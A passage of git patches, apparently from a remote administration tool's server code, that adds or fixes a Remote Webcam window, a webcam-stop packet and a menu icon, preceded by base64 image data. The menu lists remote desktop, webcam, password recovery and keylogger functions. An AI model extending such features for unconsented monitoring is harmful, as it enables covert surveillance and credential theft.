Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index 7e590a868..f66ff270c 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -167,6 +167,8 @@ + + @@ -182,7 +184,10 @@ + + + @@ -277,6 +282,12 @@ + + Form + + + FrmRemoteWebcam.cs + Form @@ -445,6 +456,9 @@ + + FrmRemoteWebcam.cs + FrmAbout.cs From f8908193a936769f9638eeb6c9b79a99927d3b41 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Mon, 13 Jun 2016 23:20:40 +0300 Subject: [PATCH 043/229] Fixed mistake I fixed the mistake i made by deleting the 'Select All' option of contextual menu. --- Server/Forms/FrmMain.cs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 4d3d34a68..e78f63b54 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -847,6 +847,10 @@ private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e) #endregion + private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) + { + lstClients.SelectAllItems(); + } #endregion From 02a62338633f063d8c9fc96700dbc12f7f396747 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Mon, 13 Jun 2016 23:23:40 +0300 Subject: [PATCH 044/229] Fixed bug The webcam on the client side was not turning off if the window 'Remote Webcam' was closed. --- Server/Forms/FrmRemoteWebcam.cs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Server/Forms/FrmRemoteWebcam.cs b/Server/Forms/FrmRemoteWebcam.cs index 896819204..e6a1a6ce4 100644 --- a/Server/Forms/FrmRemoteWebcam.cs +++ b/Server/Forms/FrmRemoteWebcam.cs @@ -100,6 +100,8 @@ public void ToggleControls(bool state) private void FrmRemoteWebcam_FormClosing(object sender, FormClosingEventArgs e) { + new Core.Packets.ServerPackets.DoWebcamStop().Execute(_connectClient); + if (_connectClient.Value != null) _connectClient.Value.FrmWebcam = null; } From 4ff3af0a1143a8d411ffcb03a6094be2c11ba0d2 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Mon, 13 Jun 2016 23:25:00 +0300 Subject: [PATCH 045/229] Added Remote Webcam contextual image Added Remote Webcam contextual image in the Main Form. --- Server/Forms/FrmMain.Designer.cs | 31 ++++++++++++++++--------------- Server/Forms/FrmMain.resx | 20 +++++++++++++++++++- Server/images/webcam.png | Bin 0 -> 776 bytes 3 files changed, 35 insertions(+), 16 deletions(-) create mode 100644 Server/images/webcam.png diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index d7f408a84..450bb00bb 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -55,6 +55,7 @@ private void InitializeComponent() this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteWebcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.passwordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -86,7 +87,6 @@ private void InitializeComponent() this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderToolStripMenuItem = new 